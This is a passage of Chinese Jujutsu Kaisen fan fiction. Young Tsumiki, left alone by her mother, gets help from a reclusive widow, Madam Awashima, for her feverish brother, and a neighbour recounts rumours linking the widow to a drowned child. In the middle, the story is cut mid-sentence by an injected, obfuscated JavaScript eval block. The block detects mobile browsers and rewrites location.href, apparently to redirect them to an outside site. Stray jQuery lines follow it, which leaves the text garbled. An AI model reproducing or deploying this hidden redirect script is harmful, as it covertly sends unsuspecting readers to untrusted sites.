在津美纪很小的时候，妈妈和一个叫甚尔的男人再婚了，她多了一个爸爸和一个弟弟。
又或者只是多了一个弟弟。
因为在她有限的记忆里，找不出太多和那个男人相处的画面。
再婚后，他们一家搬到了埼玉县，一个四季分明的地方。搬进新家的那天，院落里鲜花盛开。
那时候，他们是有过一段快乐时光的。尽管继父经常不着家，但是她和弟弟还有妈妈三个人也能把家维持得很好。
在她家的不远处，街道的转角，有一座造型古朴的宅院。院墙很高，院门一直紧闭着，看不清里面的景象。
但是津美纪对那座宅邸充满好奇，因为它从外面看起来真的很漂亮。
宅院灰白色的外墙上爬满了粉白相间的三角梅，微风拂过，花瓣就齐齐舞动。绕着宅邸步行一周，可以看到院落的四角都种了一棵高大的树木。
幼小的津美纪认不出那是什么树，因为它不开花也不结果。那些花和树长得郁郁葱葱，枝条也修剪得错落有致极具美感，应该是有人精心照料的。
但津美纪从来没见到过人影。
很长一段时间里，她都会在晚饭后偷偷溜出家门，在那座宅院前久久驻足，欣赏那些生机勃勃的小生命。
她曾经向附近居住的婆婆问过，街角的宅子里住的是什么人呢。
“淡岛家啊，住了一个年轻的未亡人。”婆婆的话中带着一点唏嘘和一丝古怪。
津美纪不懂什么叫“未亡人”，她想不明白，也就很快不再想了，继续自己的赏花日常。
然而随着时间流逝，树叶枯黄，寒风侵袭，那一墙的三叶梅开始凋落，她那段温馨的回忆也走到了尽头。
不知从什么时候开始，妈妈离家的时间也越来越长了。
家中开始出现各种华贵的衣服和包包，妈妈频繁地穿着它们出门，然后在深夜里带着酒气回家。
她没有忘记自己的两个孩子，每次出门前都会给他们准备好一天的食物。
但是要养好两个三四岁的孩子，只提供吃穿是不够的。
津美纪妈妈不知道这个道理，也或许她知道，那都不重要了。
在一个外面下着小雪的夜里，伏黑惠发烧了，烧得很严重。
这个年纪的小孩子娇弱得很，或许是白天吃到了凉食，或许是吹到了冷风，总之津美纪发现的时候，他已经烧得失去了意识。
她祈祷着推开妈妈卧室的门，里面空空荡荡。
妈妈没有回来。
外面的雪还在下，她连敲了三四个邻居的院门都没有人出来。如此寒冷的冬夜，大家都早早地睡下了。
回到屋内，费力地将弟弟抱下床，给他穿上厚厚的衣服，背起他出了门。
她记得一条街外有一家诊所，希望现在还开着门。
覆着雪的路格外难走，何况她还背着一个对她而言并不轻的弟弟。平坦的路，津美纪走得深一脚浅一脚。
平时不长的路今夜变得格外遥远，脚下一滑，她重重地摔倒在地。因为双手用来扶住背上的弟弟，她摔倒时没有支撑，额头磕在了地上，鼻子也火辣辣地疼。
冷风让她憋回了眼底的眼泪，尝试着爬起来，但是负重和疼痛让她根本做不到。
淡岛夫人就是在那个时候出现的，撑着宽大的纸伞，身着浅色和服，像志怪故事中的美艳妖怪。
原谅她当时奇怪的联想，但是真的很像。
降雪的黑夜里，空无一人的街道中央撑着伞的女人，飘动的白色衣摆，和雪白皮肤上猩红的唇。
……是妖怪。
津美纪趴在地上害怕地抖了抖，不敢出声。
可是，惠还发着烧。
也许，也许妖怪小姐不是坏妖怪，也许愿意帮她……
在她挣扎着鼓起勇气开口之前，女人先走了过来，伸出手掌把她从地上扶起。温润的掌心在脸颊上擦过，是热的。
不是妖怪。
“是你啊，”女人柔声开口，“这么晚了，为什么出门呢？”
来不及思考女人的话，她像抓住救命稻草一样将惠抱到身前：“惠，惠发烧了。”
女人接过她怀里小小的男孩，瞪大了双眼。
津美纪发誓在那双眼睛里看到了无措和困惑。
女人困扰地皱起了眉头：“那个……发烧……啊，要吃退烧药。”
津美纪使劲摇头，惠烧得很严重，光吃药解决不了问题。
“姐姐，求求你帮我把弟弟送到诊所好吗？我可以付钱的！我有钱！”
她从兜里掏出一把零钱，面色紧张，生怕女人拒绝。
女人拍了拍她的头说：“好啊。”
于是，在淡岛夫人的帮助下，弟弟很幸运地没有在那个冬天被烧成一个傻子。
在那之后，津美纪见到淡岛夫人的次数突然多了起来。
经常飘雪的寒冬，大家都不乐意出门的季节，她反而常常出现在院门边，倚着墙壁仰望天空。
妈妈回来的次数越来越少了，也不再给他们做饭，只是每次出门前在鞋柜上留一大把零钱。
津美纪去买便当的路上要路过那座宅院的门口，女人每次都会笑着蹲下身摸摸她的头，偶尔还会从袖子里掏出几颗软糖。
有一次，温柔的掌心拂过头顶，津美纪突然想起了什么，问她：“姐姐，那天你说‘是你啊’是什么意思？你认得我吗？”
女人回答道：“是啊，我认得你。每天晚上你都会来我家门前看花。”
津美纪红了脸，原来她的所作所为都被主人家看在眼里。
顺理成章的，津美纪和她在一次次遇见中熟悉了起来。
女人总是很神秘，不会谈太多关于自己的事情。
晴朗的日子里，她就倚在院门边晒太阳。
飘雪的日子里，她就撑着伞看天空飘落的雪花。
不过偶尔，她也会动一动她为数不多的好奇心。
“为什么总是你去买菜？你们的爸妈呢？”
津美纪扣了扣衣角，低声说道：“爸爸妈妈在忙。”
“这样吗……”
女人无意义地感慨了一声，又不说话了。
她与淡岛夫人的相识，并不是什么秘密，很快就传到了附近居住的婆婆耳朵里。
婆婆给他们送来一碗热乎乎的肉汤。
看着他们慢慢喝下后，婆婆一边收拾好自己带来的碗勺，一边责怪地说：“小惠的身体还没好全，总吃那些简单的东西怎么行呢？你们的妈妈又几天不回来了？太不像样了。”
津美纪不知道该说些什么，只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853579|174133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能乖乖地道谢：“谢谢婆婆。”
婆婆将餐桌上空的便当盒装进垃圾袋，突兀地开口：“你是不是遇见淡岛家的那位了？”
淡岛家的……那位？
津美纪不明白为什么要用这么奇怪的称呼。
“婆婆也不想多管闲事，但是劝你们还是离她远点的好。那女人，是个怪人。”
然后，在婆婆口中，津美纪得知了淡岛夫人总是一个人的原因——
在几年前的一个春天，街角的宅院被人买下了。经历了漫长又隆重的改建后，成为了一座气质古朴的大宅邸。
据说那是一个名门望族的少爷买下来的，打算当作自己成婚后的新房。
然而改建完成后，却迟迟没有动静。
直到一轮又一轮四季过去，一个漂亮的女人住了进来。
那个女人很年轻，却经常做一副成熟的打扮。喜欢穿浅色的和服，头发精致地盘起。
她不常出门，和附近的人也没有什么交流。
渐渐地人们都在传，她就是那少爷的妻子，婚后不久就克死了丈夫，然后带着丈夫留下的遗产住进了这座宅邸中。
那个少爷姓淡岛，人们叫她淡岛夫人，她听见了也没有反驳。
于是这个传言似乎也就被证实了。
淡岛夫人唯一广为人知的爱好是养花，她的院墙上一年四季都盛开着花朵。花朵的种类不仅随时节变换，也年年不同。
与已经疲于生活的大人不同，几乎附近的所有小孩都喜欢她生机盎然的院墙，他们常常到那里去嬉戏打闹，有时候也会偷偷折花带回家。
于是人们发现，她似乎也很喜欢孩子。
当院外传来孩子们叽叽喳喳的声音时，她就会将紧闭的院门打开一扇，然后坐在院子里看孩子们追逐打闹。
起初人们还对她抱有警惕，但是她只是静静地看着，从不迈出院门搭话，所以大家也就逐渐习惯了。
原本这样的平静会一直持续下去，但在淡岛夫人搬来的第三年，发生了一件打破平衡的事。
经常来淡岛夫人宅院前玩耍的一个孩子失踪了，几天后他的尸体在远处的河中被发现。尸体是溺死的，但是身上有古怪的外伤，被发现时手里紧紧地握着一朵紫色的小花。
紫藤花，在并非花期的九月，整个街区除了淡岛家再没有别的人家中能盛开的花。
过往的种种似乎都成了怀疑的根据，在众人的指认下，淡岛夫人被带走调查了。
除了花朵和居民的怀疑，没有任何可以称得上是证据的东西，她很快就回到了家中。
遇难孩童的尸体被几个穿着黑衣服的人带走了，案件也稀里糊涂地结束，几乎没有人知道调查结果。
那孩子的家人在之后不久搬离了埼玉县，再也没有了消息。
所以案件和淡岛夫人到底有没有关系呢？
谁也不知道。
“但是啊，”人们说，“她新婚不久就克死丈夫继承了大笔遗产，现在又跟凶杀案扯上关系，肯定是有点古怪的。”
总之，在那之后，淡岛家的门前再也没有孩子的欢笑声了。
她自己肯定也能察觉到周围人对她态度的转变，更少出门了。
只有在夜里和寒风呼啸的冬季，才能偶尔在院门前见到她的身影……